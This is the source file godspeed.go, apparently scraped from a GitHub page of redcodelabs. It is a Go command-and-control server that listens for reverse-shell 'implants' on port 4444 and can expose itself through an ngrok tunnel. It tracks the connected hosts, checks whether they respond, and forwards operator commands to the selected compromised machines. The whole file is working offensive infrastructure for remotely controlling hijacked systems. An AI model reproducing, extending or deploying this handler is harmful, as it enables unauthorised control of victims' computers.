-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathgodspeed.go
432 lines (413 loc) · 12.5 KB
/
godspeed.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
package main
import (
"fmt"
"io"
"net"
"net/http"
"os"
"strconv"
"strings"
"time"
"github.com/akamensky/argparse"
"github.com/atotto/clipboard"
"github.com/c-bata/go-prompt"
"github.com/common-nighthawk/go-figure"
"github.com/fatih/color"
tw "github.com/olekukonko/tablewriter"
cf "github.com/redcode-labs/Coldfire"
"github.com/savaki/jq"
"github.com/taion809/haikunator"
)
type Implant struct {
name string
id int
time string
ip string
conn net.Conn
}
var (
red = color.New(color.FgRed).SprintFunc()
green = color.New(color.FgGreen).SprintFunc()
cyan = color.New(color.FgCyan).SprintFunc()
bold = color.New(color.Bold).SprintFunc()
yellow = color.New(color.FgYellow).SprintFunc()
magenta = color.New(color.FgMagenta).SprintFunc()
)
var implants []*Implant
var active_ids []int
var base_id = 0
func f(s string, arg ...interface{}) string {
return fmt.Sprintf(s, arg...)
}
func p() {
fmt.Println("")
}
func PrintBanner() {
banner := figure.NewFigure("GodSpeed", "weird", true)
color.Set(color.FgMagenta)
p()
banner.Print()
p()
color.Unset()
fmt.Println("\t\tCreated by: redcodelabs.io", red(bold("<*>")))
}
func Haikunate() string {
h := haikunator.NewHaikunator()
return h.DelimHaikunate(".")
}
func StartReceiver(implant *Implant) {
defer implant.conn.Close()
buf := make([]byte, 100024)
for {
n, _ := implant.conn.Read(buf)
//do smthing with err? ^
rcv := string(buf[:n])
dt := time.Now()
cur_time := dt.Format("15:04")
if len(rcv) > 1 && !strings.Contains(rcv, "$") && !strings.Contains(rcv, "xxxyyy") {
fmt.Println(f("\n - - - - - - - - - - [%s] (%s :: %s) ", bold(cur_time), bold(cyan(implant.id)), magenta(implant.name)))
p()
fmt.Println(rcv)
}
//data_type := strings.Split(rcv, ":")[0]
//data := strings.Join(strings.Split(rcv, ":")[1:], ":")
}
}
func completer_cmd_loop(d prompt.Document) []prompt.Suggest {
s := []prompt.Suggest{
{Text: "exit", Description: "Exit program"},
//{Text: "log", Description: "Enable/disable logging of command's output to a file"},
{Text: "list", Description: "Show information about connected implants"},
{Text: "interact", Description: "Interact with one or more implants"},
//{Text: "kill", Description: "Kill connection with implants"},
{Text: "check", Description: "Check all shells' connectivity"},
}
return prompt.FilterHasPrefix(s, d.GetWordBeforeCursor(), true)
}
func update_prompt_prefix() (string, bool) {
if len(active_ids) == 0 {
return "Gs - ", true
} else {
return fmt.Sprintf("Gs (%s) - ", strconv.Itoa(len(active_ids))), true
}
}
func SendData(data string) {
for _, implant := range implants {
if cf.Contains(active_ids, implant.id) {
_, err := io.WriteString(implant.conn, data+"\n")
if err != nil {
p()
cf.PrintError(f("Unable to send data to ID:%d: %s", implant.id, red(err.Error())))
p()
}
}
}
}
func SendDataConn(conn net.Conn, message string) error {
_, err := io.WriteString(conn, message+"\n")
if err != nil {
return err
}
return nil
}
func RemoveImplant(ssSlice []*Implant, ss *Implant) []*Implant {
for idx, v := range ssSlice {
if v == ss {
return append(ssSlice[0:idx], ssSlice[idx+1:]...)
}
}
return ssSlice
}
func StartCommandPrompt() {
for {
//prm := fmt.Sprintf("oyabun[%s] ", strings.Split(conn.RemoteAddr().String(), ":")[0])
prm := " "
cmd := prompt.Input(prm, completer_cmd_loop,
//prompt.OptionTitle("sql-prompt"),
//prompt.OptionHistory([]string{"SELECT * FROM users;"}),
prompt.OptionPrefixTextColor(prompt.White),
prompt.OptionLivePrefix(update_prompt_prefix),
//prompt.OptionDescriptionTextColor(prompt.White),
prompt.OptionPreviewSuggestionTextColor(prompt.White),
prompt.OptionPreviewSuggestionBGColor(prompt.Black),
prompt.OptionInputTextColor(prompt.Purple),
prompt.OptionSelectedDescriptionBGColor(prompt.Black),
prompt.OptionDescriptionTextColor(prompt.White),
prompt.OptionSelectedDescriptionTextColor(prompt.Purple),
prompt.OptionDescriptionBGColor(prompt.Black),
prompt.OptionSelectedSuggestionTextColor(prompt.Purple),
prompt.OptionSelectedSuggestionBGColor(prompt.Black),
prompt.OptionScrollbarBGColor(prompt.Black),
prompt.OptionScrollbarThumbColor(prompt.Purple),
prompt.OptionMaxSuggestion(22),
//prompt.OptionShowCompletionAtStart(),
prompt.OptionCompletionOnDown(),
prompt.OptionSuggestionBGColor(prompt.Black),
prompt.OptionSuggestionTextColor(prompt.Blue))
elements := strings.Split(cmd, " ")
l := len(elements)
switch elements[0] {
case "interact":
word := ""
remove := false
interact_all := false
if cf.ContainsAny("*", elements) {
interact_all = true
}
if cf.ContainsAny("-r", elements) {
remove = true
}
if l == 1 {
p()
fmt.Println(`Usage: interact [-r] <ids>...
Pass '*' as argument to interact with all implants
When '-r' is used, implant is removed from active list
Passed IDs should be separated with a single space`)
p()
} else {
ids := elements[1:]
ids = cf.RemoveStr(ids, "*")
ids = cf.RemoveStr(ids, "-r")
if remove {
word = f("%d", len(ids))
if interact_all {
word = "all"
}
for _, id := range ids {
i := cf.StrToInt(id)
active_ids = cf.RemoveInt(active_ids, i)
}
if interact_all {
active_ids = []int{}
}
p()
cf.PrintInfo(f("Removed %s implants from active pool", red(word)))
p()
} else {
active_ids = []int{}
word = f("%d", len(ids))
if interact_all {
word = "all"
for i := 0; i < len(implants); i++ {
active_ids = append(active_ids, i)
}
ids = []string{}
}
for _, id := range ids {
i := cf.StrToInt(id)
active_ids = append(active_ids, i)
}
p()
cf.PrintInfo(f("Added %s agents to active pool", green(word)))
p()
}
active_ids = cf.RemoveDuplicatesInt(active_ids)
}
case "list":
parser := argparse.NewParser("list", "Show available implants") //, usage_prologue)
var vertical *bool = parser.Flag("v", "vertical", &argparse.Options{Help: "If implant does not respond, remove it permanently"})
err := parser.Parse(elements)
if err != nil {
p()
cf.PrintError(parser.Usage(err))
p()
} else if !cf.ContainsAny(cmd, []string{"-h"}) {
if len(implants) != 0 {
p()
cf.PrintInfo(bold(green(len(implants))) + " implants connected")
p()
sep := "=================================================="
if *vertical {
fmt.Println(sep)
}
tb := tw.NewWriter(os.Stdout)
tb.SetHeader([]string{"ID", "STATUS", "NAME", "TIME", "IP"})
tb.SetCenterSeparator("|")
tb.SetRowSeparator("-")
tb.SetAlignment(tw.ALIGN_CENTER)
for _, implant := range implants {
status := red(bold("(x)"))
if cf.Contains(active_ids, implant.id) {
status = green(bold("(+)"))
}
if implant.id != -1 {
if *vertical {
fmt.Println("ID -> " + cyan(cf.IntToStr(implant.id)))
fmt.Println("NAME -> " + red(implant.name))
fmt.Println("STATUS -> " + status)
fmt.Println("TIME -> " + implant.time)
fmt.Println("IP -> " + implant.ip)
fmt.Println(sep)
} else {
data := [][]string{{cyan(implant.id), status, magenta(implant.name), implant.time, implant.ip}}
for v := range data {
tb.Append(data[v])
}
}
}
}
tb.Render()
p()
} else {
p()
cf.PrintError("No implants connected")
p()
}
}
case "exit":
cf.PrintInfo("Exiting...")
cf.CmdBlind("pkill -9 ngrok")
os.Exit(0)
case "check":
parser := argparse.NewParser("check", "Check connectivity of active hosts") //, usage_prologue)
parser.ExitOnHelp(false)
var remove *bool = parser.Flag("r", "remove", &argparse.Options{Help: "If implant does not respond, remove it permanently"})
var num *int = parser.Int("n", "num", &argparse.Options{Default: 2, Help: "Number of times to send data to the implant to check socket"})
err := parser.Parse(elements)
if err != nil {
p()
cf.PrintError(err.Error())
p()
} else if !cf.ContainsAny(cmd, []string{"-h"}) {
header := []string{"--ID--", "--NAME--", "--STATUS--"}
data := [][]string{}
num_errors := 0
if len(implants) != 0 {
for _, implant := range implants {
status := ""
for i := 0; i < *num; i++ {
err := SendDataConn(implant.conn, "echo aa > /dev/null")
if err != nil {
num_errors += 1
}
}
if num_errors != 0 {
// print_info(f("Implant #%d (%s) is %s", implant.id, magenta(implant.name), red("UNREACHABLE")))
status = red("UNREACHABLE")
SendDataConn(implant.conn, "exit:")
if *remove {
active_ids = cf.RemoveInt(active_ids, implant.id)
implants = RemoveImplant(implants, implant)
}
} else {
status = green("CONNECTED")
//print_info(f("Implant #%d (%s) is %s", implant.id, magenta(implant.name), green("CONNECTED")))
}
data = append(data, []string{cyan(implant.id),
magenta(implant.name),
status})
}
tb := tw.NewWriter(os.Stdout)
tb.SetHeader(header)
tb.SetCenterSeparator("*")
tb.SetRowSeparator("-")
tb.SetAlignment(tw.ALIGN_CENTER)
for v := range data {
tb.Append(data[v])
}
p()
cf.PrintInfo(f("Checking connectivity of %d implants...", len(implants)))
tb.Render()
p()
} else {
p()
cf.PrintError("No implants connected")
p()
}
}
default:
SendData(cmd)
}
}
}
func StartTunnel(port string) (string, string) {
//regions := []string{"us", "eu", "ap", "au", "sa", "jp", "in"}
//selected_region := RandomSelectStr(regions)
go cf.CmdBlind("ngrok tcp " + port)
time.Sleep(2 * time.Second)
local_url := "http://localhost:4040/api/tunnels"
resp, err := http.Get(local_url)
if err != nil {
cf.PrintError("Cannot obtain tunnel's address -> " + err.Error())
os.Exit(0)
}
defer resp.Body.Close()
json, err := io.ReadAll(resp.Body)
if err != nil {
cf.PrintError("Cannot obtain tunnel's address -> " + err.Error())
os.Exit(0)
}
jq_op_1, _ := jq.Parse(".tunnels")
json_1, _ := jq_op_1.Apply(json)
jq_op_2, _ := jq.Parse(".[0]")
json_2, _ := jq_op_2.Apply(json_1)
jq_op_3, _ := jq.Parse(".public_url")
json_3, _ := jq_op_3.Apply(json_2)
main_url := strings.Replace(string(json_3), `"`, "", -1)
main_url = strings.Replace(main_url, `tcp://`, "", -1)
tunnel_addr := strings.Split(main_url, ":")[0]
tunnel_port := strings.Split(main_url, ":")[1]
t_ip, err := cf.DnsLookup(tunnel_addr)
tunnel_ip := t_ip[0]
if err != nil {
cf.PrintError(cf.F("Cannot perform DNS lookup for %s: %s", cf.Red(tunnel_ip), err.Error()))
}
return tunnel_ip, tunnel_port
}
func StartServer(proto, port string) {
go StartCommandPrompt()
listener, _ := net.Listen(proto, "0.0.0.0:"+port)
for {
connection, err := listener.Accept()
fmt.Println("")
cf.ExitOnError(err)
//fmt.Println("[*] Connection from: ", green(bold(conn.RemoteAddr())))
n := Haikunate()
dt := time.Now()
t := dt.Format("15:04")
addr := strings.Split(connection.RemoteAddr().String(), ":")[0]
p()
cf.PrintGood(fmt.Sprintf("Received connection from: %s (%s)", green(bold(addr)), magenta(n)))
p()
implant := &Implant{
conn: connection,
name: n,
id: base_id,
time: t,
ip: addr,
}
implants = append(implants, implant)
if len(active_ids) == 0 {
active_ids = append(active_ids, base_id)
}
//defer conn.Close()
//go handle_tls_conn(conn)
go StartReceiver(implant)
base_id += 1
}
}
func main() {
//parser := argparse.NewParser("GodSpeed", "")
PrintBanner()
parser := argparse.NewParser("godspeed", "")
var port *string = parser.String("p", "port", &argparse.Options{Default: "4444", Help: "Local port to listen on"})
var clip *bool = parser.Flag("c", "clip", &argparse.Options{Required: false, Help: "Copy listening C2 address to clipboard"})
var tunnel *bool = parser.Flag("t", "tunnel", &argparse.Options{Required: false, Help: "Expose C2 server using Ngrok tunnel"})
err := parser.Parse(os.Args)
cf.ExitOnError(err)
c2_addr := cf.GetLocalIp() + ":" + *port
if *tunnel {
t_addr, t_port := StartTunnel(*port)
c2_addr = t_addr + ":" + t_port
cf.PrintInfo("Started tunnel")
}
p()
cf.PrintInfo(cf.F("Started reverse handler %s", cyan(bold("["+c2_addr+"]"))))
p()
if *clip {
clipboard.WriteAll(c2_addr)
cf.PrintInfo("Copied server address to clipboard")
p()
}
StartServer("tcp", *port)
}